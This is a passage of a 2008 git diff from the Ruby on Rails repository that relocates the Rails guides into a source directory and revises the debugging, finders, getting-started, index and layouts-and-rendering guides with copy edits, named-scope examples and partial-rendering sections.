(abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified. === Quitting -To exit the debugger, use the `quit` command (abbreviated `q`), or alias `exit`. + +To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`. A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again. === Settings -There are some settings that can be configured in ruby-debug to make it easier to debug your code, being among others useful options: +There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options: * `set reload`: Reload source code when changed. * `set autolist`: Execute `list` command on every breakpoint. -* `set listsize _n_`: Set number of source lines to list by default _n_. -* `set forcestep`: Make sure `next` and `step` commands always move to a new line +* `set listsize _n_`: Set number of source lines to list by default to _n_. +* `set forcestep`: Make sure the `next` and `step` commands always move to a new line -You can see the full list by using `help set` or `help set subcommand` to inspect any of them. +You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular +set+ command. [TIP] -You can include any number of this configuration lines inside a `.rdebugrc` file in your HOME directory, and ruby-debug will read it every time it is loaded +You can include any number of these configuration lines inside a `.rdebugrc` file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly. -The following lines are recommended to be included in `.rdebugrc`: +Here's a good start for an `.rdebugrc`: +[source, log] ---------------------------------------------------------------------------- set autolist set forcestep set listsize 25 ---------------------------------------------------------------------------- - == References * link:http://www.datanoise.com/ruby-debug[ruby-debug Homepage] @@ -614,4 +633,5 @@ set listsize 25 http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5[Lighthouse ticket] +* October 19, 2008: Copy editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] * September 16, 2008: initial version by link:../authors.html#miloops[Emilio Tagua] diff --git a/railties/doc/guides/activerecord/finders.txt b/railties/doc/guides/source/finders.txt index d1169ffdd4..e81fa23e3a 100644 --- a/railties/doc/guides/activerecord/finders.txt +++ b/railties/doc/guides/source/finders.txt @@ -192,7 +192,7 @@ Readonly is a find option that you can set in order to make that instance of the [source, ruby] Client.find(:first, :readonly => true) -If you assign this record to a variable `client` calling the following code will raise an ActiveRecord::ReadOnlyRecord +If you assign this record to a variable `client` calling the following code will raise an ActiveRecord::ReadOnlyRecord: [source, ruby] client = Client.find(:first, :readonly => true) @@ -273,14 +273,33 @@ When you define a has_many association on a model you get the find method and dy == Named Scopes -There was mention of named scopes earlier in "First, Last and All" where we covered the named scopes of `first`, `last` and `all` which were aliases of `find(:first)`, `find(:last)`, `find(:all)` respectively. Now we'll cover adding named scopes to the models in the application. Let's say we want to find all clients who are not locked to do this we would use this code: +In this section we'll cover adding named scopes to the models in the application. Let's say we want to find all clients who are male we would use this code: + +[source, ruby] +class Client < ActiveRecord::Base + named_scope :males, :conditions => { :gender => "male" } +end + +And we could call it like `Client.males` to get all the clients who are male. + +If we wanted to find all the clients who are active, we could use this: [source,ruby] class Client < ActiveRecord::Base - named_scope :unlocked, :conditions => { :locked => false } + named_scope :active, :conditions => { :active => true } end -We would call this new named_scope by doing `Client.unlocked` and this will do the same query as if we just used `Client.find(:all, :conditions => ["unlocked = ?", false])`. Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do `Client.first.unlocked`. This is possible because named scopes are stackable. +We would call this new named_scope by doing `Client.active` and this will do the same query as if we just used `Client.find(:all, :conditions => ["active = ?", true])`. Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do `Client.active.first`. + +and then if we wanted to find all the clients who are active and male we could stack the named scopes like this: + +[source, ruby] +Client.males.active + +If you would then like to do a `find` on that subset of clients, you can. Just like an association, named scopes allow you to call `find` on a set of records: + +[source, ruby] +Client.males.active.find(:all, :conditions => ["age > ?", params[:age]]) Now observe the following code: @@ -293,11 +312,20 @@ What we see here is what looks to be a standard named scope that defines a metho [source, ruby] class Client < ActiveRecord::Base - named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } } } + named_scope :recent, lambda { { :conditions => ["created_at > ?", 2.weeks.ago] } } end And now every time the recent named scope is called, because it's wrapped in a lambda block this code will be parsed every time so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded. +In a named scope you can use `:include` and `:joins` options just like in find. + +[source, ruby] +class Client < ActiveRecord::Base + named_scope :active_within_2_weeks, :joins => :order, lambda { { :conditions => ["orders.created_at > ?", 2.weeks.ago] } } +end + +This method called as `Client.active_within_2_weeks` will return all clients who have placed orders in the past 2 weeks. + If you want to pass a named scope a compulsory argument, just specify it as a block parameter like this: [source, ruby] @@ -316,6 +344,7 @@ This will work with `Client.recent(2.weeks.ago)` and `Client.recent` with the la Remember that named scopes are stackable, so you will be able to do `Client.recent(2.weeks.ago).unlocked` to find all clients created between right now and 2 weeks ago and have their locked field set to false. + == Existance of Objects If you simply want to check for the existance of the object there's a method called `exists?`. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false. @@ -387,3 +416,6 @@ Thanks to Mike Gunderloy for his tips on creating this guide. === Thursday, 09 October 2008 1. Wrote section about lock option and tidied up "Making it all work together" section. 2. Added section on using count. + +=== Tuesday, 21 October 2008 +1. Extended named scope guide by adding :include and :joins and find sub-sections. diff --git a/railties/doc/guides/forms/form_helpers.txt b/railties/doc/guides/source/form_helpers.txt index 7b0aeb0ed9..7b0aeb0ed9 100644 --- a/railties/doc/guides/forms/form_helpers.txt +++ b/railties/doc/guides/source/form_helpers.txt diff --git a/railties/doc/guides/getting_started_with_rails/getting_started_with_rails.txt b/railties/doc/guides/source/getting_started_with_rails.txt index b6d8203c8b..8f0ebe674e 100644 --- a/railties/doc/guides/getting_started_with_rails/getting_started_with_rails.txt +++ b/railties/doc/guides/source/getting_started_with_rails.txt @@ -164,7 +164,7 @@ File/Folder Purpose +log/+ Application log files. +public/+ The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go. +script/+ Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server. -+test/+ Unit tests, fixtures, and other test apparatus. These are covered in link:../testing_rails_applications/testing_rails_applications.html[Testing Rails Applications] ++test/+ Unit tests, fixtures, and other test apparatus. These are covered in link:../testing_rails_applications.html[Testing Rails Applications] +tmp/+ Temporary files +vendor/+ A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality. ------------------------------------------------------------------------------------------------------------------------------------------- @@ -298,7 +298,7 @@ This line illustrates one tiny bit of the "convention over configuration" approa Now if you navigate to +http://localhost:3000+ in your browser, you'll see the +home/index+ view. -NOTE: For more information about routing, refer to link:../routing/routing_outside_in.html[Rails Routing from the Outside In]. +NOTE: For more information about routing, refer to link:../routing_outside_in.html[Rails Routing from the Outside In]. == Getting Up and Running Quickly With Scaffolding @@ -362,7 +362,7 @@ class CreatePosts < ActiveRecord::Migration end ------------------------------------------------------- -If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the link:../migrations/migrations.html[Rails Database Migrations] guide. +If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the link:../migrations.html[Rails Database Migrations] guide. At this point, you need to do two things: create the database and run the migration. You can use rake commands at the terminal for both of those tasks: @@ -417,14 +417,13 @@ Rails includes methods to help you validate the data that you send to models. Op [source, ruby] ------------------------------------------------------- -class Comment < ActiveRecord::Base - belongs_to :post - validates_presence_of :commenter, :body - validates_length_of :commenter, :minimum => 5 +class Post < ActiveRecord::Base + validates_presence_of :name, :title + validates_length_of :title, :minimum => 5 end ------------------------------------------------------- -These changes will ensure that all comments have a body and a commenter, and that the commenter is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. +These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. === Using the Console @@ -439,19 +438,19 @@ After the console loads, you can use it to work with your application's models: [source, shell] ------------------------------------------------------- ->> c = Comment.create(:body => "A new comment") -=> #<Comment id: nil, commenter: nil, body: "A new comment", -post_id: nil, created_at: nil, updated_at: nil> ->> c.save +>> p = Post.create(:content => "A new post") +=> #<Post id: nil, name: nil, title: nil, content: "A new post", +created_at: nil, updated_at: nil> +>> p.save => false ->> c.errors -=> #<ActiveRecord::Errors:0x227be7c @base=#<Comment id: nil, -commenter: nil, body: "A new comment", post_id: nil, created_at: nil, -updated_at: nil>, @errors={"commenter"=>["can't be blank", +>> p.errors +=> #<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil, +title: nil, content: "A new post", created_at: nil, updated_at: nil>, +@errors={"name"=>["can't be blank"], "title"=>["can't be blank", "is too short (minimum is 5 characters)"]}> ------------------------------------------------------- -This code shows creating a new +Comment+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the comment. +This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post. TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type +reload!+ at the console prompt to load them. @@ -473,7 +472,7 @@ end This code sets the +@posts+ instance variable to an array of all posts in the database. +Post.find(:all)+ or +Post.all+ calls the +Post+ model to return all of the posts that are currently in the database, with no limiting conditions. -TIP: For more information on finding records with Active Record, see link:../activerecord/finders.html[Active Record Finders]. +TIP: For more information on finding records with Active Record, see link:../finders.html[Active Record Finders]. The +respond_to+ block handles both HTML and XML calls to this action. If you borwse to +http://localhost:3000/posts.xml+, you'll see all of the posts in XML format. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/view/posts/index.html.erb+: @@ -511,7 +510,7 @@ This view iterates over the contents of the +@posts+ array to display content an * +link_to+ builds a hyperlink to a particular destination * +edit_post_path+ is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes. -TIP: For more details on the rendering process, see link:../actionview/layouts_and_rendering.html[Layouts and Rendering in Rails]. +TIP: For more details on the rendering process, see link:../layouts_and_rendering.html[Layouts and Rendering in Rails]. === Customizing the Layout @@ -818,13 +817,15 @@ You'll need to edit the +post.rb+ file to add the other side of the association: [source, ruby] ------------------------------------------------------- class Post < ActiveRecord::Base + validates_presence_of :name, :title + validates_length_of :title, :minimum => 5 has_many :comments end ------------------------------------------------------- These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable +@post+ containing a post, you can retrieve all the comments belonging to that post as the array +@post.comments+. -TIP: For more information on Active Record associations, see the link:../activerecord/association_basics.html+[Active Record Associations] guide. +TIP: For more information on Active Record associations, see the link:../association_basics.html+[Active Record Associations] guide. === Adding a Route @@ -839,7 +840,7 @@ end This creates +comments+ as a _nested resource_ within +posts+. This is another part of capturing the hierarchical relationship that exists between posts and comments. -TIP: For more information on routing, see the link:../routing/routing_outside_in[Rails Routing from the Outside In] guide. +TIP: For more information on routing, see the link:../routing_outside_in[Rails Routing from the Outside In] guide. === Generating a Controller @@ -930,6 +931,15 @@ end You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached. +In addition, the code takes advantage of some of the methods available for an association. For example, in the +new+ method, it calls + +[source, ruby] +------------------------------------------------------- +@comment = @post.comments.build +------------------------------------------------------- + +This creates a new +Comment+ object _and_ sets up the +post_id+ field to have the +id+ from the specified +Post+ object in a single operation. + === Building Views Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views. diff --git a/railties/doc/guides/icons/README b/railties/doc/guides/source/icons/README index f12b2a730c..f12b2a730c 100644 --- a/railties/doc/guides/icons/README +++ b/railties/doc/guides/source/icons/README diff --git a/railties/doc/guides/icons/callouts/1.png b/railties/doc/guides/source/icons/callouts/1.png Binary files differindex 7d473430b7..7d473430b7 100644 --- a/railties/doc/guides/icons/callouts/1.png +++ b/railties/doc/guides/source/icons/callouts/1.png diff --git a/railties/doc/guides/icons/callouts/10.png b/railties/doc/guides/source/icons/callouts/10.png Binary files differindex 997bbc8246..997bbc8246 100644 --- a/railties/doc/guides/icons/callouts/10.png +++ b/railties/doc/guides/source/icons/callouts/10.png diff --git a/railties/doc/guides/icons/callouts/11.png b/railties/doc/guides/source/icons/callouts/11.png Binary files differindex ce47dac3f5..ce47dac3f5 100644 --- a/railties/doc/guides/icons/callouts/11.png +++ b/railties/doc/guides/source/icons/callouts/11.png diff --git a/railties/doc/guides/icons/callouts/12.png b/railties/doc/guides/source/icons/callouts/12.png Binary files differindex 31daf4e2f2..31daf4e2f2 100644 --- a/railties/doc/guides/icons/callouts/12.png +++ b/railties/doc/guides/source/icons/callouts/12.png diff --git a/railties/doc/guides/icons/callouts/13.png b/railties/doc/guides/source/icons/callouts/13.png Binary files differindex 14021a89c2..14021a89c2 100644 --- a/railties/doc/guides/icons/callouts/13.png +++ b/railties/doc/guides/source/icons/callouts/13.png diff --git a/railties/doc/guides/icons/callouts/14.png b/railties/doc/guides/source/icons/callouts/14.png Binary files differindex 64014b75fe..64014b75fe 100644 --- a/railties/doc/guides/icons/callouts/14.png +++ b/railties/doc/guides/source/icons/callouts/14.png diff --git a/railties/doc/guides/icons/callouts/15.png b/railties/doc/guides/source/icons/callouts/15.png Binary files differindex 0d65765fcf..0d65765fcf 100644 --- a/railties/doc/guides/icons/callouts/15.png +++ b/railties/doc/guides/source/icons/callouts/15.png diff --git a/railties/doc/guides/icons/callouts/2.png b/railties/doc/guides/source/icons/callouts/2.png Binary files differindex 5d09341b2f..5d09341b2f 100644 --- a/railties/doc/guides/icons/callouts/2.png +++ b/railties/doc/guides/source/icons/callouts/2.png diff --git a/railties/doc/guides/icons/callouts/3.png b/railties/doc/guides/source/icons/callouts/3.png Binary files differindex ef7b700471..ef7b700471 100644 --- a/railties/doc/guides/icons/callouts/3.png +++ b/railties/doc/guides/source/icons/callouts/3.png diff --git a/railties/doc/guides/icons/callouts/4.png b/railties/doc/guides/source/icons/callouts/4.png Binary files differindex adb8364eb5..adb8364eb5 100644 --- a/railties/doc/guides/icons/callouts/4.png +++ b/railties/doc/guides/source/icons/callouts/4.png diff --git a/railties/doc/guides/icons/callouts/5.png b/railties/doc/guides/source/icons/callouts/5.png Binary files differindex 4d7eb46002..4d7eb46002 100644 --- a/railties/doc/guides/icons/callouts/5.png +++ b/railties/doc/guides/source/icons/callouts/5.png diff --git a/railties/doc/guides/icons/callouts/6.png b/railties/doc/guides/source/icons/callouts/6.png Binary files differindex 0ba694af6c..0ba694af6c 100644 --- a/railties/doc/guides/icons/callouts/6.png +++ b/railties/doc/guides/source/icons/callouts/6.png diff --git a/railties/doc/guides/icons/callouts/7.png b/railties/doc/guides/source/icons/callouts/7.png Binary files differindex 472e96f8ac..472e96f8ac 100644 --- a/railties/doc/guides/icons/callouts/7.png +++ b/railties/doc/guides/source/icons/callouts/7.png diff --git a/railties/doc/guides/icons/callouts/8.png b/railties/doc/guides/source/icons/callouts/8.png Binary files differindex 5e60973c21..5e60973c21 100644 --- a/railties/doc/guides/icons/callouts/8.png +++ b/railties/doc/guides/source/icons/callouts/8.png diff --git a/railties/doc/guides/icons/callouts/9.png b/railties/doc/guides/source/icons/callouts/9.png Binary files differindex a0676d26cc..a0676d26cc 100644 --- a/railties/doc/guides/icons/callouts/9.png +++ b/railties/doc/guides/source/icons/callouts/9.png diff --git a/railties/doc/guides/icons/caution.png b/railties/doc/guides/source/icons/caution.png Binary files differindex cb9d5ea0df..cb9d5ea0df 100644 --- a/railties/doc/guides/icons/caution.png +++ b/railties/doc/guides/source/icons/caution.png diff --git a/railties/doc/guides/icons/example.png b/railties/doc/guides/source/icons/example.png Binary files differindex bba1c0010d..bba1c0010d 100644 --- a/railties/doc/guides/icons/example.png +++ b/railties/doc/guides/source/icons/example.png diff --git a/railties/doc/guides/icons/home.png b/railties/doc/guides/source/icons/home.png Binary files differindex 37a5231bac..37a5231bac 100644 --- a/railties/doc/guides/icons/home.png +++ b/railties/doc/guides/source/icons/home.png diff --git a/railties/doc/guides/icons/important.png b/railties/doc/guides/source/icons/important.png Binary files differindex 1096c23295..1096c23295 100644 --- a/railties/doc/guides/icons/important.png +++ b/railties/doc/guides/source/icons/important.png diff --git a/railties/doc/guides/icons/next.png b/railties/doc/guides/source/icons/next.png Binary files differindex 64e126bdda..64e126bdda 100644 --- a/railties/doc/guides/icons/next.png +++ b/railties/doc/guides/source/icons/next.png diff --git a/railties/doc/guides/icons/note.png b/railties/doc/guides/source/icons/note.png Binary files differindex 841820f7c4..841820f7c4 100644 --- a/railties/doc/guides/icons/note.png +++ b/railties/doc/guides/source/icons/note.png diff --git a/railties/doc/guides/icons/prev.png b/railties/doc/guides/source/icons/prev.png Binary files differindex 3e8f12fe24..3e8f12fe24 100644 --- a/railties/doc/guides/icons/prev.png +++ b/railties/doc/guides/source/icons/prev.png diff --git a/railties/doc/guides/icons/tip.png b/railties/doc/guides/source/icons/tip.png Binary files differindex a3a029d898..a3a029d898 100644 --- a/railties/doc/guides/icons/tip.png +++ b/railties/doc/guides/source/icons/tip.png diff --git a/railties/doc/guides/icons/up.png b/railties/doc/guides/source/icons/up.png Binary files differindex 2db1ce62fa..2db1ce62fa 100644 --- a/railties/doc/guides/icons/up.png +++ b/railties/doc/guides/source/icons/up.png diff --git a/railties/doc/guides/icons/warning.png b/railties/doc/guides/source/icons/warning.png Binary files differindex 0b0c419df2..0b0c419df2 100644 --- a/railties/doc/guides/icons/warning.png +++ b/railties/doc/guides/source/icons/warning.png diff --git a/railties/doc/guides/activerecord/images/belongs_to.png b/railties/doc/guides/source/images/belongs_to.png Binary files differindex 44243edbca..44243edbca 100644 --- a/railties/doc/guides/activerecord/images/belongs_to.png +++ b/railties/doc/guides/source/images/belongs_to.png diff --git a/railties/doc/guides/source/images/bullet.gif b/railties/doc/guides/source/images/bullet.gif Binary files differnew file mode 100644 index 0000000000..95a26364a4 --- /dev/null +++ b/railties/doc/guides/source/images/bullet.gif diff --git a/railties/doc/guides/securing_rails_applications/images/csrf.png b/railties/doc/guides/source/images/csrf.png Binary files differindex ab73baafe8..ab73baafe8 100644 --- a/railties/doc/guides/securing_rails_applications/images/csrf.png +++ b/railties/doc/guides/source/images/csrf.png diff --git a/railties/doc/guides/activerecord/images/habtm.png b/railties/doc/guides/source/images/habtm.png Binary files differindex fea78b0b5c..fea78b0b5c 100644 --- a/railties/doc/guides/activerecord/images/habtm.png +++ b/railties/doc/guides/source/images/habtm.png diff --git a/railties/doc/guides/activerecord/images/has_many.png b/railties/doc/guides/source/images/has_many.png Binary files differindex 6cff58460d..6cff58460d 100644 --- a/railties/doc/guides/activerecord/images/has_many.png +++ b/railties/doc/guides/source/images/has_many.png diff --git a/railties/doc/guides/activerecord/images/has_many_through.png b/railties/doc/guides/source/images/has_many_through.png Binary files differindex 85d7599925..85d7599925 100644 --- a/railties/doc/guides/activerecord/images/has_many_through.png +++ b/railties/doc/guides/source/images/has_many_through.png diff --git a/railties/doc/guides/activerecord/images/has_one.png b/railties/doc/guides/source/images/has_one.png Binary files differindex a70ddaaa86..a70ddaaa86 100644 --- a/railties/doc/guides/activerecord/images/has_one.png +++ b/railties/doc/guides/source/images/has_one.png diff --git a/railties/doc/guides/activerecord/images/has_one_through.png b/railties/doc/guides/source/images/has_one_through.png Binary files differindex 89a7617a30..89a7617a30 100644 --- a/railties/doc/guides/activerecord/images/has_one_through.png +++ b/railties/doc/guides/source/images/has_one_through.png diff --git a/railties/doc/guides/source/images/header_backdrop.png b/railties/doc/guides/source/images/header_backdrop.png Binary files differnew file mode 100644 index 0000000000..ff2982175e --- /dev/null +++ b/railties/doc/guides/source/images/header_backdrop.png diff --git a/railties/doc/guides/activerecord/images/polymorphic.png b/railties/doc/guides/source/images/polymorphic.png Binary files differindex ff2fd9f76d..ff2fd9f76d 100644 --- a/railties/doc/guides/activerecord/images/polymorphic.png +++ b/railties/doc/guides/source/images/polymorphic.png diff --git a/railties/doc/guides/source/images/rails_logo_remix.gif b/railties/doc/guides/source/images/rails_logo_remix.gif Binary files differnew file mode 100644 index 0000000000..58960ee4f9 --- /dev/null +++ b/railties/doc/guides/source/images/rails_logo_remix.gif diff --git a/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif b/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif Binary files differnew file mode 100644 index 0000000000..98ffefaf6a --- /dev/null +++ b/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif diff --git a/railties/doc/guides/securing_rails_applications/images/session_fixation.png b/railties/doc/guides/source/images/session_fixation.png Binary files differindex 6b084508db..6b084508db 100644 --- a/railties/doc/guides/securing_rails_applications/images/session_fixation.png +++ b/railties/doc/guides/source/images/session_fixation.png diff --git a/railties/doc/guides/index.txt b/railties/doc/guides/source/index.txt index 1e6d5665f8..e8c4040b7b 100644 --- a/railties/doc/guides/index.txt +++ b/railties/doc/guides/source/index.txt @@ -9,7 +9,7 @@ CAUTION: Guides marked with this icon are currently being worked on. While they <h2>Start Here</h2> ++++++++++++++++++++++++++++++++++++++ -.link:getting_started_with_rails/getting_started_with_rails.html[Getting Started with Rails] +.link:getting_started_with_rails.html[Getting Started with Rails] *********************************************************** CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/2[Lighthouse Ticket] @@ -20,17 +20,17 @@ Everything you need to know to install Rails and create your first application. <h2>Models</h2> ++++++++++++++++++++++++++++++++++++++ -.link:migrations/migrations.html[Rails Database Migrations] +.link:migrations.html[Rails Database Migrations] *********************************************************** This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner. *********************************************************** -.link:activerecord/association_basics.html[Active Record Associations] +.link:association_basics.html[Active Record Associations] *********************************************************** This guide covers all the associations provided by Active Record. *********************************************************** -.link:activerecord/finders.html[Active Record Finders] +.link:finders.html[Active Record Finders] *********************************************************** CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/16[Lighthouse Ticket] @@ -41,14 +41,14 @@ This guide covers the find method defined in ActiveRecord::Base, as well as name <h2>Views</h2> ++++++++++++++++++++++++++++++++++++++ -.link:actionview/layouts_and_rendering.html[Layouts and Rendering in Rails] +.link:layouts_and_rendering.html[Layouts and Rendering in Rails] *********************************************************** This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using +content_for_ blocks, and working with partials. *********************************************************** -.link:forms/form_helpers.html[Action View Form Helpers] +.link:form_helpers.html[Action View Form Helpers] *********************************************************** CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/1[Lighthouse Ticket] @@ -59,20 +59,20 @@ Guide to using built in Form helpers. <h2>Controllers</h2> ++++++++++++++++++++++++++++++++++++++ -.link:routing/routing_outside_in.html[Rails Routing from the Outside In] +.link:routing_outside_in.html[Rails Routing from the Outside In] *********************************************************** This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here. *********************************************************** -.link:actioncontroller/actioncontroller.html[Basics of Action Controller] +.link:actioncontroller_basics.html[Basics of Action Controller] *********************************************************** CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/17[Lighthouse Ticket] This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics. *********************************************************** -.link:caching/caching_with_rails.html[Rails Caching] +.link:caching_with_rails.html[Rails Caching] *********************************************************** CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/10[Lighthouse Ticket] @@ -83,7 +83,7 @@ This guide covers the three types of caching that Rails provides by default. <h2>Digging Deeper</h2> ++++++++++++++++++++++++++++++++++++++ -.link:testing_rails_applications/testing_rails_applications.html[Testing Rails Applications] +.link:testing_rails_applications.html[Testing Rails Applications] *********************************************************** CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/8[Lighthouse Ticket] @@ -92,7 +92,7 @@ in Rails. It covers everything from ``What is a test?'' to the testing APIs. Enjoy. *********************************************************** -.link:securing_rails_applications/security.html[Securing Rails Applications] +.link:security.html[Securing Rails Applications] *********************************************************** CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/7[Lighthouse Ticket] @@ -100,7 +100,7 @@ This manual describes common security problems in web applications and how to avoid them with Rails. *********************************************************** -.link:debugging/debugging_rails_applications.html[Debugging Rails Applications] +.link:debugging_rails_applications.html[Debugging Rails Applications] *********************************************************** CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/5[Lighthouse Ticket] @@ -109,16 +109,18 @@ ways of achieving this and how to understand what is happening "behind the scene of your code. *********************************************************** -.link:benchmarking_and_profiling/preamble.html[Benchmarking and Profiling Rails Applications] +.link:benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications] *********************************************************** CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/4[Lighthouse Ticket] This guide covers ways to analyze and optimize your running Rails code. *********************************************************** -.link:creating_plugins/creating_plugins.html[The Basics of Creating Rails Plugins] +.link:creating_plugins.html[The Basics of Creating Rails Plugins] *********************************************************** This guide covers how to build a plugin to extend the functionality of Rails. *********************************************************** Authors who have contributed to complete guides are listed link:authors.html[here]. + +This work is licensed under a link:http://creativecommons.org/licenses/by-nc-sa/3.0/[Creative Commons Attribution-Noncommercial-Share Alike 3.0 License] diff --git a/railties/doc/guides/actionview/layouts_and_rendering.txt b/railties/doc/guides/source/layouts_and_rendering.txt index 00f9dbbdd9..ed56b82ffd 100644 --- a/railties/doc/guides/actionview/layouts_and_rendering.txt +++ b/railties/doc/guides/source/layouts_and_rendering.txt @@ -635,6 +635,17 @@ Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain co TIP: For content that is shared among all pages in your application, you can use partials directly from layouts. +==== Partial Layouts + +A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this: + +[source, html] +------------------------------------------------------- +<%= render :partial => "link_area", :layout => "graybar" %> +------------------------------------------------------- + +This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder). + ==== Passing Local Variables You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content: @@ -677,6 +688,15 @@ Every partial also has a local variable with the same name as the partial (minus Within the +customer+ partial, the +@customer+ variable will refer to +@new_customer+ from the parent view. +If you have an instance of a model to render into a partial, you can use a shorthand syntax: + +[source, html] +------------------------------------------------------- +<%= render :partial => @customer %> +------------------------------------------------------- + +Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it. + ==== Rendering Collections Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection: @@ -711,6 +731,40 @@ You can also specify a second partial to be rendered between instances of the ma Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials. +There's also a shorthand syntax available for rendering collections. For example, if +@products+ is a collection of products, you can render the collection this way: + +[source, html] +------------------------------------------------------- +index.rhtml.erb: + +<h1>Products</h1> +<%= render :partial => @products %> + +_product.html.erb: + +<p>Product Name: <%= product.name %></p> +------------------------------------------------------- + +Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection: + +[source, html] +------------------------------------------------------- +index.rhtml.erb: + +<h1>Contacts</h1> +<%= render :partial => [customer1, employee1, customer2, employee2] %> + +_customer.html.erb: + +<p>Name: <%= customer.name %></p> + +_employee.html.erb: + +<p>Name: <%= employee.name %></p> +------------------------------------------------------- + +In this case, Rails will use the customer or employee partials as appropriate for each member of the collection. + == Changelog == http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15[Lighthouse ticket] @@ -758,4 +812,3 @@ http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15[Lighthouse - diff --git a/railties/doc/guides/migrations/anatomy_of_a_migration.txt b/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt index 9f325af914..9f325af914 100644 --- a/railties/doc/guides/migrations/anatomy_of_a_migration.txt +++ b/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt diff --git a/railties/doc/guides/migrations/changelog.txt b/railties/doc/guides/source/migrations/changelog.txt index 38e772ce37..38e772ce37 100644 --- a/railties/doc/guides/migrations/changelog.txt +++ b/railties/doc/guides/source/migrations/changelog.txt diff --git a/railties/doc/guides/migrations/creating_a_migration.txt b/railties/doc/guides/source/migrations/creating_a_migration.txt index 892c73a533..892c73a533 100644 --- a/railties/doc/guides/migrations/creating_a_migration.txt +++ b/railties/doc/guides/source/migrations/creating_a_migration.txt diff --git a/railties/doc/guides/migrations/foreign_keys.txt b/railties/doc/guides/source/migrations/foreign_keys.txt index 8f796843b2..8f796843b2 100644 --- a/railties/doc/guides/migrations/foreign_keys.txt +++ b/railties/doc/guides/source/migrations/foreign_keys.txt diff --git a/railties/doc/guides/migrations/migrations.txt b/railties/doc/guides/source/migrations/index.txt index be183e8597..be183e8597 100644 --- a/railties/doc/guides/migrations/migrations.txt +++ b/railties/doc/guides/source/migrations/index.txt diff --git a/railties/doc/guides/migrations/rakeing_around.txt b/railties/doc/guides/source/migrations/rakeing_around.txt index 1fcca0cf24..1fcca0cf24 100644 --- a/railties/doc/guides/migrations/rakeing_around.txt +++ b/railties/doc/guides/source/migrations/rakeing_around.txt diff --git a/railties/doc/guides/migrations/scheming.txt b/railties/doc/guides/source/migrations/scheming.txt index 